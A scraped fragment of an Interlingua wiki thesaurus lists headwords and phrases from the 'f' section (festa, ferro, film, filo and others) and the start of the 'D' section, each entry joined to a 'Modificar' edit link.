federativa(s) feditateModificar feditate de un edificioModificar feeModificar fee [la feedback [A]Modificar feeriaModificar feericModificar feerico(s) \/ feerica(s) feldmarechal {sh}Modificar feldspatModificar feldspat [le feldspaticModificar feldspatico(s) \/ feldspatica(s) felibreModificar felibre [le feliceModificar felice(s) felice Natal!Modificar felicitarModificar felicitateModificar felicitate apparenteModificar felicitate domesticModificar felicitate domestica felicitate fragileModificar felicitate immutabileModificar felicitate incerteModificar felicitate incerta felicitate indiviseModificar felicitate indivisa felicitate instabileModificar felicitationModificar felidesModificar felides [los felinModificar felino(s) \/ felina(s) felinitateModificar felinoModificar fellahModificar fellah [le fellatioModificar felleModificar felle [le felonModificar felon adj, sub feloniaModificar feltrateModificar feltrato(s) \/ feltrata(s) feltrationModificar feltreroModificar feltroModificar feltro de biraModificar feltro de lanaModificar feltro flexibileModificar feluca = feluccaModificar femicModificar femico(s) \/ femica(s) feminaModificar femina commercianteModificar femina de mal vitaModificar femina de mala vita femina de mores legierModificar femina de mores legieros femina de su soniosModificar femina de sus sonios femina del mundoModificar femina del populoModificar femina del populo femina del sacrista \/ sacristanoModificar femina demoniacModificar femina demoniaca femina dulceModificar femina emancipateModificar femina emancipata femina fardateModificar femina fardata femina fatalModificar femina pauco \/ poco communicativeModificar femina pauco \/ poco communicativa femina respectabileModificar femina sterileModificar femininModificar feminino(s) \/ feminina(s) femininitateModificar femininoModificar feminisarModificar feminizar feminisationModificar feminization feminismoModificar feministaModificar feminista activeModificar feminista activo \/ activa feminista militanteModificar feministicModificar feministico(s) \/ feministica(s) femoralModificar femoral(es) femoreModificar femore [le fenarModificar fenar vb fenationModificar fenatorModificar fenestraModificar fenestra a basculaModificar fenestra a cupolaModificar fenestra ad arcoModificar fenestra arcateModificar fenestra arcata fenestra basculanteModificar fenestra cantileverModificar fenestra con barrasModificar fenestra cruciformeModificar fenestra de diffusionModificar fenestra de faciadaModificar fenestra de tectoModificar fenestra de turreModificar fenestra de ventilationModificar fenestra de verandaModificar fenestra glissanteModificar fenestra grilliateModificar fenestra grilliata fenestra lateralModificar fenestra murateModificar fenestra murata fenestra panoramicModificar fenestra panoramica fenestra paramuscasModificar fenestra que da super le strataModificar fenestra que da super la strata fenestra salienteModificar fenestrarModificar fenestras geminateModificar fenestras geminatas fenestras voltateModificar fenestras voltatas fenestrateModificar fenestrato(s) \/ fenestrata(s) fenestretta de tectoModificar fenilModificar fenil [le fennecModificar fennec [le fenoModificar feno comprimiteModificar feno comprimito feno de trifolioModificar feno pressateModificar feno pressato fenuculoModificar fenuculo tuberoseModificar fenuculo tuberoso fenugrecoModificar ferModificar fero(s) \/ fera(s) fer como un pavonModificar fero como un pavon feraceModificar ferace(s) feracitateModificar FerdinandoModificar feretroModificar feriaModificar feria agricoleModificar feria agricola feria autumnalModificar feria commercialModificar feria de autumnoModificar feria de consumitoresModificar feria de monstrasModificar feria de primaveraModificar feria del vanitateModificar feria de la vanitate feria philatelicModificar feria philatelica feria primaveralModificar feria pro consumitoresModificar feria pro philatelistasModificar ferialModificar ferial(es) ferianteModificar feriante [le \/ la feriarModificar feriasModificar feriateModificar feriato(s) \/ feriata(s) ferimentoModificar ferirModificar ferir le adversario con un pugnalModificar ferir le amor proprie de un personaModificar ferir le amor proprio de una persona ferir se in le capiteModificar ferir se in la capite ferir se in le testaModificar ferir se in la testa feritaModificar ferita de ballaModificar ferita de capiteModificar ferita de taliaModificar ferita de testaModificar ferita del carneModificar ferita de la carne ferita graveModificar ferita immedicabileModificar ferita legierModificar ferita legiera ferita lethalModificar ferita medicabileModificar ferita mortalModificar feritateModificar feritate legitimeModificar feritate legitima feritate paternalModificar feritate paterneModificar feritate paterna fermaModificar ferma [la ferma capitalModificar ferma de bestialModificar ferma in forma de pyramideModificar ferma modelloModificar ferma pyramidalModificar fermataModificar fermentabileModificar fermentabile(s) fermentarModificar fermentationModificar fermentation aceticModificar fermentation acetica fermentation acideModificar fermentation acida fermentation alcoholicModificar fermentation alcoholica fermentation butyricModificar fermentation butyrica fermentation del fenoModificar fermentation del tabacoModificar fermentation lacticModificar fermentation lactica fermentation methanicModificar fermentation methanica fermentation putrideModificar fermentation putrida fermentation secundariModificar fermentation secundaria fermentativeModificar fermentativo(s) \/ fermentativa(s) fermentoModificar fermento de yogurtModificar fermento digestiveModificar fermento digestivo fermento lacticModificar fermento lactico fermeroModificar fermiModificar fermi [le fermionModificar fermiumModificar feroceModificar feroce(s) ferocitateModificar ferocitate del tigreModificar ferraliaModificar ferralia irrecuperabileModificar ferralieroModificar ferramentoModificar ferrarModificar ferrar un asinoModificar ferrar un bottaModificar ferrar una botta ferrar un cavalloModificar ferratoModificar ferrato de sodiumModificar ferratorModificar ferraturaModificar ferratura de fenestraModificar ferredoxinaModificar ferreeModificar ferreo(s) \/ ferrea(s) ferreriaModificar ferreroModificar ferricModificar ferrico(s) \/ ferrica(s) ferricyanidoModificar ferrifereModificar ferrifero(s) \/ ferrifera(s) ferriteModificar ferriticModificar ferritico(s) \/ ferritica(s) ferritinaModificar ferroModificar ferro a betonModificar ferro a \/ de calfatarModificar ferro a \/ de cavalloModificar ferro a gaufrarModificar ferro a gofrarModificar ferro a soldarModificar ferro a waflasModificar ferro angularModificar ferro bruteModificar ferro bruto ferro corrugateModificar ferro corrugato ferro de bomaModificar ferro de buclarModificar ferro de planaModificar ferro de repassarModificar ferro de soldarModificar ferro ductileModificar ferro dulceModificar ferro forgiateModificar ferro forgiato ferro funditeModificar ferro fundito ferro galvanisateModificar ferro galvanizato ferro in barrasModificar ferro in laminaModificar ferro in lingotosModificar ferro in TModificar ferro incandescenteModificar ferro magneticModificar ferro magnetico ferro malleabileModificar ferro manganesifereModificar ferro manganesifero ferro meteoricModificar ferro meteorico ferro pro soldarModificar ferro profilateModificar ferro profilato ferro puddelateModificar ferro puddelato ferro pyrophoricModificar ferro pyrophorico ferro spaticModificar ferro spatico ferro specularModificar ferro triangularModificar ferro undulateModificar ferro undulato ferrochromoModificar ferrocyanidoModificar ferrodoxinaModificar ferroelectricModificar ferroelectrico(s) \/ ferroelectrica(s) ferroelectricitateModificar ferroinaModificar ferromagneticModificar ferromagnetico(s) \/ ferromagnetica(s) ferromagnetismoModificar ferromanganeseModificar ferromanganese [le ferrophosphoroModificar ferroproteinaModificar ferroseModificar ferroso(s) \/ ferrosa(s) ferrosiliciumModificar ferrotypiaModificar ferroviaModificar ferrovia a cremalieraModificar ferrovia aereeModificar ferrovia aerea ferrovia funicularModificar ferrovia localModificar ferrovia statalModificar ferrovia subterraneeModificar ferrovia subterranea ferrovia suburbanModificar ferrovia suburbana ferrovia transafricanModificar ferrovia transafricana ferrovia transsiberianModificar ferrovia transsiberiana ferrovia vicinalModificar ferroviariModificar ferroviario(s) \/ ferroviaria(s) ferroviarioModificar ferrugineModificar ferrugine [la ferruginoseModificar ferruginoso(s) \/ ferruginosa(s) ferruginositateModificar ferry-boat [A]Modificar ferry-boat a duo pontesModificar ferry-boat a duos \/ duas pontes fertileModificar fertile(s) fertilisabileModificar fertilizabile(s) fertilisanteModificar fertilizante adj, sub fertilisante de calceModificar fertilizante de calce fertilisante organicModificar fertilizante organico fertilisarModificar fertilizar fertilisationModificar fertilization fertilisation con calceModificar fertilization con calce fertilisation del soloModificar fertilization del solo fertilisation dupleModificar fertilization dupla fertilisation dupliceModificar fertilization duplice fertilisation in vitroModificar fertilization in vitro fertilitateModificar fertilitate del imaginationModificar fertilitate de la imagination fertilitate del soloModificar ferulaModificar ferventeModificar fervente(s) ferventiaModificar ferverModificar fervideModificar fervido(s) \/ fervida(s) fervorModificar fervor religioseModificar fervor religioso fescenninModificar fescennino(s) \/ fescennina(s) festaModificar festa anniversariModificar festa anniversaria festa annualModificar festa beneficModificar festa benefica festa bisannualModificar festa campestreModificar festa commemorativeModificar festa commemorativa festa de anniversarioModificar festa de balloModificar festa de barbacoaModificar festa de barbecueModificar festa de beneficentiaModificar festa de caritateModificar festa de classeModificar festa de(l) coronationModificar festa de \/ de_la coronation festa de corteModificar festa de dansaModificar festa de estateModificar festa de familiaModificar festa de fidantiamentoModificar festa de floresModificar festa de galaModificar festa de mascaradaModificar festa de musicaModificar festa de NatalModificar festa de paschaModificar festa de Prime MaioModificar festa de PurimModificar festa de ramadanModificar festa de rhetoricaModificar festa de Sancte NicolausModificar festa de Sancto Nicolaus festa de tiroModificar Festa del AzymosModificar Festa de los Azymos festa del matresModificar festa de las matres festa del resurrectionModificar festa de la resurrection festa del resurrection de Nostre SeniorModificar festa de la resurrection de Nostre Senior Festa del TabernaculosModificar Festa de los Tabernaculos festa del trinitateModificar festa de la trinitate festa equestreModificar festa fixeModificar festa fixa festa in le strataModificar festa in la strata festa inauguralModificar festa infantilModificar festa infantinModificar festa infantina festa israelitaModificar festa jubilarModificar festa lustralModificar festa matrimonialModificar festa mobileModificar festa musicalModificar festa nationalModificar festa nuptialModificar festa patronalModificar festa popModificar festa popularModificar festa pro le infantesModificar festa pro los infantes festa scholarModificar festa semidupleModificar festa semidupla festa sportiveModificar festa sportiva festa stratalModificar festa super glacieModificar festarModificar festar le carnavalModificar festar su anniversarioModificar festar su dece annos de servicioModificar festar sus dece annos de servicio festas bacchicModificar festas bacchicas festas christianModificar festas christianas festas dionysiacModificar festas dionysiacas festas mobileModificar festas mobiles festas orgiasticModificar festas orgiasticas festas panhellenicModificar festas panhellenicas festas religioseModificar festas religiosas festearModificar festeatorModificar festinarModificar festinoModificar festino gastronomicModificar festino gastronomico festivalModificar festival [le festival cinematographicModificar festival cinematographico festival de CannesModificar festival de cineModificar festival de EurovisionModificar festival de jazzModificar festival de musicaModificar festival musicalModificar festival popModificar festiveModificar festivo(s) \/ festiva(s) festivitateModificar festivitates annueModificar festivitates annuas festonModificar festonarModificar festucaModificar festuca arundinaceeModificar festuca arundinacea festuca giganteModificar festuca ovinModificar festuca ovina festuca pratenseModificar festuca rigideModificar festuca rigida festuca rubreModificar festuca rubra fetaModificar fetalModificar fetal(es) fetarModificar fetationModificar fetiche [F]Modificar fetichismoModificar fetichistaModificar fetichisticModificar fetichistico(s) \/ fetichistica(s) feticidaModificar feticidioModificar fetideModificar fetido(s) \/ fetida(s) fetidessaModificar fetiditateModificar fetoModificar feto bicephaleModificar feto bicephalo feto inviabileModificar feto viabileModificar fetorModificar fetor de cadaveresModificar feudalModificar feudal(es) feudalisarModificar feudalizar feudalisationModificar feudalization feudalismoModificar feudalistaModificar feudalitateModificar feudatarioModificar feudistaModificar feudoModificar feudo ecclesiasticModificar feudo ecclesiastico feudo femininModificar feudo feminino feudo masculinModificar feudo masculino feuilleton [F]Modificar FezModificar fezModificar fez [le FiacreModificar fiacreModificar fiacre [le fiascoModificar fiatModificar fiat [le fibraModificar fibra acrylicModificar fibra acrylica fibra animalModificar fibra artificialModificar fibra cannabisModificar fibra contractileModificar fibra corticalModificar fibra de amiantoModificar fibra de asbestoModificar fibra de cannabeModificar fibra de cocoModificar fibra de cotonModificar fibra de juteModificar fibra de kapokModificar fibra de lanaModificar fibra de linoModificar fibra de origine animalModificar fibra de origine mineralModificar fibra de origine vegetalModificar fibra de papiroModificar fibra de polyesterModificar fibra de rayonModificar fibra de sisalModificar fibra de vitroModificar fibra del lignoModificar fibra liberianModificar fibra liberiana fibra lignoseModificar fibra lignosa fibra mineralModificar fibra muscularModificar fibra naturalModificar fibra nervoseModificar fibra nervosa fibra syntheticModificar fibra synthetica fibra textileModificar fibra vascularModificar fibra vegetalModificar fibras collageneModificar fibras collagena fibras del carneModificar fibras de la carne fibras filabileModificar fibras filabiles fibras syntheticModificar fibras syntheticas fibras unitiveModificar fibras unitivas fibrillaModificar fibrilla muscularModificar fibrillarModificar fibrillationModificar fibrillation cardiacModificar fibrillation cardiaca fibrilloseModificar fibrilloso(s) \/ fibrillosa(s) fibrinaModificar fibrinoogenoModificar fibrinolyse = fibrinolysisModificar fibrinoseModificar fibrinoso(s) \/ fibrinosa(s) fibroblastoModificar fibrocartilagineModificar fibrocartilagine [la fibroinaModificar fibromaModificar fibroma [le fibromatose = fibromatosisModificar fibromyalgiaModificar fibrosarcomaModificar fibrosarcoma [le fibroscopiaModificar fibroscopicModificar fibroscopico(s) \/ fibroscopica(s) fibroscopioModificar fibroseModificar fibroso(s) \/ fibrosa(s) fibrose = fibrosisModificar fibrose cysticModificar fibrose cystica fibrose hepaticModificar fibrose hepatica fibrositateModificar fibrositate de amiantoModificar fibrositisModificar fibulaModificar ficariaModificar ficatoModificar ficato anserinModificar ficato anserino ficato de gadoModificar ficato de ocaModificar ficato de porcoModificar ficato de vitelloModificar ficedulaModificar fiche [F]Modificar fichieroModificar fichu [F]Modificar ficifolieModificar ficifolio(s) \/ ficifolia(s) ficoModificar fico elasticModificar fico elastico ficoideModificar ficoide(s) adj ficticieModificar ficticio(s) \/ ficticia(s) fictionModificar fiction legalModificar fictionalModificar fictional(es) fictionalisarModificar fictionalizar fictionalitateModificar fictiveModificar fictivo(s) \/ fictiva(s) ficusModificar ficus [le fidantiaModificar fidantia de avariaModificar fidantiamentoModificar fidantiarModificar fidantiar se aModificar fidantiar se officialmenteModificar fidantiatoModificar fideModificar fide [la fide ardenteModificar fide catholicModificar fide catholica fide cecModificar fide ceca fide del christianoModificar fide falseModificar fide falsa fide ferventeModificar fide indestructibileModificar fide judeeModificar fide judea fide mysticModificar fide mystica fide protestanteModificar fide punicModificar fide punica fide theologalModificar fideicommissariModificar fideicommissario(s) \/ fideicommissaria(s) fideicommissarioModificar fideicommisseModificar fideicommisso(s) \/ fideicommissa(s) fideicommissoModificar fideicommitterModificar fideismoModificar fideistaModificar fidejussionModificar fidejussorModificar fidejussoriModificar fidejussorio(s) \/ fidejussoria(s) fidelModificar fidel(es) fidel a su deberModificar fidel al parola dateModificar fidel a la parola data fidel al traditionModificar fidel a la tradition fidel al traditionesModificar fidel a las traditiones fidel usque al morteModificar fidel usque a la morte fidelitateModificar fidelitate amoroseModificar fidelitate amorosa fidelitate conjugalModificar fidelitate de canModificar fidelitate de un amicoModificar fidelitate de un traductionModificar fidelitate de una traduction fidelitate fraternalModificar fidelitate jurateModificar fidelitate jurata fidelitate maritalModificar fidelitate nuptialModificar fiderModificar fider se a un personaModificar fider se a una persona fider un cosa a un personaModificar fider una cosa a una persona fiduciaModificar fiducia absoluteModificar fiducia absoluta fiducia cecModificar fiducia ceca fiducia imperturbabileModificar fiducia in DeoModificar fiducia in le victoriaModificar fiducia in la victoria fiducia inconditionateModificar fiducia inconditionata fiducialModificar fiducial(es) fiduciariModificar fiduciario(s) \/ fiduciaria(s) fifty-fifty [A]Modificar figerModificar figuraModificar figura de balloModificar figura de ceraModificar figura de comediaModificar figura de dansaModificar figura de proaModificar figura de rhetoricaModificar figura de valseModificar figura emblematicModificar figura emblematica figura enigmaticModificar figura enigmatica figura enneagonalModificar figura enneagoneModificar figura enneagona figura equestreModificar figura femininModificar figura feminina figura geometricModificar figura geometrica figura globoseModificar figura globosa figura grottescModificar figura grottesca figura heraldicModificar figura heraldica figura humanModificar figura humana figura imponenteModificar figura impressionanteModificar figura lamentabileModificar figura libereModificar figura libere \/ libera figura magicModificar figura magica figura melodicModificar figura melodica figura mysterioseModificar figura mysteriosa figura oblongeModificar figura oblonga figura paternalModificar figura paterneModificar figura paterna figura pisciformeModificar figura poeticModificar figura poetica figura prominenteModificar figura quadrilatereModificar figura quadrilatera figura rectilineeModificar figura rectilinea figura rhetoricModificar figura rhetorica figura rubenescModificar figura rubenesca figura secundariModificar figura secundaria figura tetrahedricModificar figura tetrahedrica figurabileModificar figurabile(s) figurabilitateModificar figuralModificar figural(es) figuranteModificar figurante [le \/ la figurarModificar figurar in un listaModificar figurar in una lista figurar seModificar figuras compulsoriModificar figuras compulsorias figuras de un picturaModificar figuras de una pictura figuras de un tangoModificar figuras geometric a contorno mixtelineeModificar figuras geometricas a contorno mixtelineo figuras imponite del patinage artisticModificar figuras imponitas del patinage artistico figuras melodicModificar figuras melodicas figurateModificar figurato(s) \/ figurata(s) figurationModificar figuration de un scena campestreModificar figuration de una scena campestre figurativeModificar figurativo(s) \/ figurativa(s) figurativitateModificar figurinaModificar figurina de ceraModificar figurismoModificar figuristaModificar filaModificar fila de casasModificar fila de octo kilometrosModificar fila de sediasModificar filabileModificar filabile(s) filagoModificar filago spatulateModificar filago spatulato filamentoModificar filamento caudalModificar filamento de carbonModificar filamento de metalloModificar filamento de mycelioModificar filamento de tungstenModificar filamento de wolframModificar filamento incandescenteModificar filamento nervoseModificar filamento nervoso filamentoseModificar filamentoso(s) \/ filamentosa(s) filandaModificar filanda de cotonModificar filanda de lana cardateModificar filanda de lana cardata filanda de setaModificar filanda de stamineModificar filanderaModificar filanderiaModificar filanderia de cotonModificar filanderia de lana cardateModificar filanderia de lana cardata filanderia de linoModificar filanderia de setaModificar filanderia de stamineModificar filanderoModificar filandero de cotonModificar filandero de lanaModificar filarModificar filar a machinaModificar filar a manoModificar filar filosModificar filar lanaModificar filariaModificar filariasisModificar filatorModificar filator de cotonModificar filator de lanaModificar filator de linoModificar filatorioModificar filaturaModificar filatura a manoModificar filatura de cotonModificar filatura de juteModificar filatura de lanaModificar filatura de lana cardateModificar filatura de lana cardata filatura de linoModificar filatura de setaModificar filatura de stamineModificar file [A]Modificar filet [F]Modificar filet de anchoa \/ anchovaModificar filet de boveModificar filet de maquerelloModificar filet de pisceModificar filet de porcoModificar filet de soleaModificar filettarModificar filettoModificar filetto conicModificar filetto conico filetto de matre viteModificar filetto de viteModificar filetto exteriorModificar filetto finModificar filetto fino filetto multipleModificar filetto multiplo filetto rondeModificar filetto rondo filetto rotundeModificar filetto rotundo filetto simpleModificar filetto trapezoideModificar filetto triangularModificar filetto tripleModificar filetto triplo filiaModificar filia adoptiveModificar filia adoptiva filia affinModificar filia de SatanModificar filia gemineModificar filia gemina filia regalModificar filia royalModificar filialModificar filial adj, sub filial bancariModificar filial bancaria filial de bancaModificar filial del bibliothecaModificar filial de la bibliotheca filiarModificar filiar vb filiar porchettosModificar filiastraModificar filiastroModificar filiationModificar filiation de manuscriptosModificar filiation del eventosModificar filiation de los eventos filiation legitimeModificar filiation legitima filiation matrilinearModificar filiation matrilineeModificar filiation matrilinea filiation naturalModificar filibusteriaModificar filibusteroModificar filicalModificar filical(es) filicauleModificar filicaule(s) filiceModificar filice [le filice aquilinModificar filice aquilino filice arborescenteModificar filice masculeModificar filice masculo filices de pruinaModificar filicifolieModificar filicifolio(s) \/ filicifolia(s) filiciformeModificar filiciforme(s) filieraModificar filifolieModificar filifolio(s) \/ filifolia(s) filiformeModificar filiforme(s) filigranaModificar filigranarModificar filioModificar filio adoptiveModificar filio adoptivo filio affinModificar filio bastardeModificar filio bastardo filio cadetteModificar filio cadette \/ cadetto filio de mammaModificar filio de SatanModificar filio de su temporeModificar Filio del HomineModificar filio del populoModificar filio del prime lectoModificar filio del primo lecto filio del secunde lectoModificar filio del secundo lecto filio gemineModificar filio gemino filio illegitimeModificar filio illegitimo filio legitimeModificar filio legitimo filio medianModificar filio mediano filio naturalModificar filio posthumeModificar filio posthumo filio primogeniteModificar filio primogenito filio prodigeModificar filio prodigo filio regalModificar filio royalModificar filio secundogeniteModificar filio secundogenito filio sextogeniteModificar filio sextogenito filio unicModificar filio unico filiolaModificar filioloModificar filipendulaModificar filipenduleModificar filipendulo(s) \/ filipendula(s) film [A]Modificar film a coloresModificar film a episodiosModificar film a theseModificar film a trucosModificar film aqueeModificar film aqueo film aquoseModificar film aquoso film bellicModificar film bellico film burlescModificar film burlesco film comicModificar film comico film de actionModificar film de actualitatesModificar film de animationModificar film de aventurasModificar film de catastrophesModificar film de cowboysModificar film de designosModificar film de designos animateModificar film de designos animatos film de disastrosModificar film de formato standardModificar film de guerraModificar film de horrorModificar film de intertenimentoModificar film de liquidoModificar film de metrage curteModificar film de metrage curto film de metrage longeModificar film de metrage longo film de naturaModificar film de oleoModificar film de pirataModificar film de promotionModificar film de propagandaModificar film de reclamoModificar film de risoModificar film de serie BModificar film de spionageModificar film de theseModificar film de vanguardaModificar film documentariModificar film documentario film educativeModificar film educativo film eroticModificar film erotico film execrabileModificar film fixeModificar film fixo film in colorModificar film in coloresModificar film in nigre e blancModificar film in nigro e blanco film in roloModificar film in technicolorModificar film in version originalModificar film insipideModificar film insipido film juvenilModificar film monocrystallinModificar film monocrystallino film muteModificar film muto film neorealistaModificar film parlanteModificar film pedagogicModificar film pedagogico film photographicModificar film photographico film policiariModificar film policiario film pornoModificar film pornographicModificar film pornographico film postsynchronisateModificar film postsynchronisato film principalModificar film pro juvenesModificar film promotionalModificar film publicitariModificar film publicitario film recreativeModificar film recreativo film relentateModificar film relentato film retardateModificar film retardato film reversibileModificar film sanguilenteModificar film sanguilento film sensationalModificar film sonorModificar film sonoro film stereoscopicModificar film stereoscopico film tridimensionalModificar film videoModificar film virgineModificar filmabileModificar filmabile(s) filmarModificar filmar un libroModificar filmationModificar filmation de un libroModificar filmicModificar filmico(s) \/ filmica(s) filmographiaModificar filmographicModificar filmographico(s) \/ filmographica(s) filmographoModificar filmologiaModificar filmologicModificar filmologico(s) \/ filmologica(s) filmothecaModificar filoModificar filo a \/ de alte tensionModificar filo a \/ de alta tension filo a \/ de bastirModificar filo a \/ de brodarModificar filo a dentellaModificar filo a \/ de plumboModificar filo a \/ de sarcirModificar filo a \/ de suerModificar filo acrylicModificar filo acrylico filo cannabisModificar filo cardateModificar filo cardato filo cerateModificar filo cerato filo conductorModificar filo de acieroModificar filo de aluminiumModificar filo de araneaModificar filo de argentanoModificar filo de argentoModificar filo de AriadnaModificar filo de auroModificar filo de cannabeModificar filo de cotonModificar filo de crochetModificar filo de cuproModificar filo de ferroModificar filo de ferro galvanisateModificar filo de ferro galvanizato filo de festonModificar filo de filigranaModificar filo de lanaModificar filo de latonModificar filo de linoModificar filo de manganinaModificar filo de masonModificar filo de massaModificar filo de metalloModificar filo de metallo piccanteModificar filo de metallo spinalModificar filo de metallo spinateModificar filo de metallo spinato filo de metallo spinoseModificar filo de metallo spinoso filo de nickelModificar filo de nylonModificar filo de osmiumModificar filo de perlasModificar filo de platinoModificar filo de plumboModificar filo de rayonModificar filo de resistentiaModificar filo de setaModificar filo de sisalModificar filo de suer a machinaModificar filo de suspensionModificar filo de suturaModificar filo de terraModificar filo de tramaModificar filo de un historiaModificar filo de una historia filo de veleroModificar filo de viscosaModificar filo de vitaModificar filo dupleModificar filo duplo filo electricModificar filo electrico filo electrificateModificar filo electrificato filo forteModificar filo fusibileModificar filo incerateModificar filo incerato filo inextensibileModificar filo laminateModificar filo laminato filo metallicModificar filo metallico filo piccanteModificar filo piciateModificar filo piciato filo potentiometricModificar filo potentiometrico filo pro dentellaModificar filo profilateModificar filo profilato filo spinalModificar filo spinateModificar filo spinato filo spinoseModificar filo spinoso filo telegraphicModificar filo telegraphico filo telephonicModificar filo telephonico filoguidateModificar filoguidato(s) \/ filoguidata(s) filonModificar filon argentifereModificar filon argentifero filon aurifereModificar filon aurifero filon carbonifereModificar filon carbonifero filon cuprifereModificar filon cuprifero filon de argentoModificar filon de auroModificar filon de carbonModificar filon de plumboModificar filon de salModificar filon de stannoModificar filon metallifereModificar filon metallifero filon plumbifereModificar filon plumbifero filon principalModificar filon stannifereModificar filon stannifero filoplumaModificar filopluma [le filovirusModificar filtrabileModificar filtrabile(s) filtrabilitateModificar filtrabilitate de un virusModificar filtrarModificar filtrar caffeModificar filtrationModificar filtratoModificar filtrato de soyaModificar filtrato sin germinesModificar filtrato sterileModificar filtratorModificar filtroModificar filtro a aereModificar filtro a aquaModificar filtro a benzinaModificar filtro a membranaModificar filtro a oleoModificar filtro antiruitoModificar filtro biologicModificar filtro biologico filtro bipolarModificar filtro blauModificar filtro chromaticModificar filtro chromatico filtro conicModificar filtro conico","id":"","dump":"CC-MAIN-2018-51","url":"http:\/\/interlingua.wikia.com\/wiki\/Thesauro_f","date":"2018-12-11T03:09:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-51\/segments\/1544376823550.42\/warc\/CC-MAIN-20181211015030-20181211040530-00365.warc.gz","language":"ina","language_score":0.6195889711,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"ina_Latn_score\": 0.6195889711380005, \"ast_Latn_score\": 0.1457802951335907, \"cat_Latn_score\": 0.030100896954536438, \"ile_Latn_score\": 0.02466907911002636, \"glg_Latn_score\": 0.021019333973526955, \"lat_Latn_score\": 0.017211711034178734, \"ron_Latn_score\": 0.014421520754694939, \"oci_Latn_score\": 0.01214086078107357, \"por_Latn_score\": 0.011838329024612904, \"spa_Latn_score\": 0.01140549499541521, \"vec_Latn_score\": 0.01060238666832447}","num_words":21580,"character_repetition_ratio":0.277,"word_repetition_ratio":0.002,"special_characters_ratio":0.117,"stopwords_ratio":0.008,"flagged_words_ratio":0.0,"lang_id_score":0.734,"perplexity_score":6330.0,"cluster_detection":-1} +{"text":"Thesauro A AEDO AN AQUA B C CARTA CI COMEDIA CONNATURAL CORPORE D DESOLAR DISGUSTAR E ES F G H I INDUBITABILE INTER J K L M ME MOA N O P PE PI POPULO PRO Q R REGULA RETRO S SE SO SU T TOALIA U V W X Y Z desolarModificar desolateModificar desolato(s) \/ desolata(s) desolationModificar desolatorModificar desorptionModificar despectarModificar despectoModificar desperado [E]Modificar desperantiaModificar desperarModificar desperateModificar desperato(s) \/ desperata(s) desperationModificar desperoModificar despicerModificar despoliamentoModificar despoliarModificar despotaModificar despota [le despota exclarateModificar despota exclarato despota illuminateModificar despota illuminato despoticModificar despotico(s) \/ despotica(s) despotisarModificar despotizar despotismoModificar despotismo orientalModificar desquamarModificar desquamationModificar desquamation del pelle consecutive al scarlatinaModificar desquamation de la pelle consecutiva a la scarlatina desquamation furfuraceeModificar desquamation furfuracea desquamatoriModificar desquamatorio(s) \/ desquamatoria(s) dessert [F]Modificar dessert cremoseModificar dessert cremoso destabilisarModificar destabilizar destabilisationModificar destabilization destabilisatorModificar destabilizator destalinisarModificar destalinizar destalinisationModificar destalinization destinarModificar destinatarioModificar destinatario del litteraModificar destinatario de la littera destinate al demolitionModificar [destinato(s) \/ destinata(s)] a la demolition destinationModificar destinoModificar destino de un civilisationModificar destino de una civilization destino ineluctabileModificar destino ineludibileModificar destituerModificar destituer un functionario publicModificar destituer un functionario publico destituer un officiero de su commandamentoModificar destituer un soveranoModificar destituibileModificar destituibile(s) destituiteModificar destituito(s) \/ destituita(s) destituite de tote probabilitateModificar [destituito(s) \/ destituita(s)] de tota probabilitate destitutionModificar destitution de su functionModificar destroyer [A]Modificar destructibileModificar destructibile(s) destructibilitateModificar destructionModificar destruction de capitalModificar destruction in massaModificar destruction methodicModificar destruction methodica destructiones vandalicModificar destructiones vandalicas destructiveModificar destructivo(s) \/ destructiva(s) destructivitateModificar destructorModificar destructor de documentosModificar destructurarModificar destructurationModificar destruerModificar destruer le reputation de un personaModificar destruer la reputation de una persona destruer per le grandineModificar destruer per la grandine destruer un illusionModificar destruer una illusion destruer un urbeModificar destruer una urbe desueteModificar desueto(s) \/ desueta(s) desuetudeModificar desulfurarModificar desulfurationModificar desynchronisarModificar desynchronizar desynchronisationModificar desynchronization detaliarModificar detaliar le total per articulosModificar detaliateModificar detaliato(s) \/ detaliata(s) detalioModificar detalio de summe interesseModificar detalio de summo interesse detalio infimeModificar detalio infimo detalio insignificanteModificar detalio irrelevanteModificar detalio salienteModificar detalios fastidioseModificar detalios fastidiosos detalios piccanteModificar detalios piccantes detalios superabundanteModificar detalios superabundantes detalios ulteriorModificar detalios ulteriores detectabileModificar detectabile(s) detectarModificar detectar un error in le calculoModificar detectionModificar detection biologicModificar detection biologica detection de fumoModificar detection per sonarModificar detective [A]Modificar detective particularModificar detective privateModificar detective privato detectorModificar detector a \/ de crystallosModificar detector acusticModificar detector acustico detector de fugasModificar detector de fumoModificar detector de galenaModificar detector de gasModificar detector de humiditateModificar detector de incendiosModificar detector de mendaciosModificar detector de mentitasModificar detector de minasModificar detector de neutronesModificar detector de particulasModificar detector de radarModificar detector de tension(es)Modificar detector de velocitateModificar detector magneticModificar detector magnetico detector photoelectricModificar detector photoelectrico detector ultrasonicModificar detector ultrasonico detegerModificar deteger un error in le calculoModificar detenerModificar detener actionesModificar detener le poterModificar detener un participation in un interprisaModificar detener una participation in una interprisa detener un recordModificar detener un secretoModificar detenimentoModificar detenitoModificar detente [F]Modificar detentionModificar detention a perpetuitateModificar detention abusive de armasModificar detention abusiva de armas detention collectiveModificar detention collectiva detention illicite de armasModificar detention illicita de armas detention in cellaModificar detention in massaModificar detention in un fortalessaModificar detention in una fortalessa detention irregularModificar detention preventiveModificar detention preventiva detention provisionalModificar detention provisoriModificar detention provisoria detention subsidiariModificar detention subsidiaria detentorModificar detentor de marcaModificar detentor de obligationesModificar detentor de polissaModificar detentor de un recordModificar detentor de un record detentor del coronaModificar detentor de la corona detentor del poterModificar detentor del tituloModificar detergenteModificar detergente adj, sub detergente biodegradabileModificar detergente ecologicModificar detergente ecologico detergente in pulvereModificar detergente liquideModificar detergente liquido detergentiaModificar detergerModificar deteriorabileModificar deteriorabile(s) deteriorarModificar deteriorar su sanitateModificar deteriorar un apparatoModificar deteriorationModificar deterioration ambientalModificar deterioration de un mechanismoModificar deterioration del ambiente (ecologic)Modificar deterioration del ambiente (ecologico) deterioration del linguageModificar deterioration mentalModificar determinabileModificar determinabile(s) determinabilitateModificar determinanteModificar determinante adj, sub determinante de un matriceModificar determinante de una matrice determinarModificar determinar culpabilitateModificar determinar le epicentro seismicModificar determinar le epicentro seismico determinar le mesura de un cosaModificar determinar la mesura de una cosa determinar le pesoModificar determinar le radices de un equationModificar determinar las radices de una equation determinar le senso de un parolaModificar determinar le senso de una parola determinar qui es le autor de un 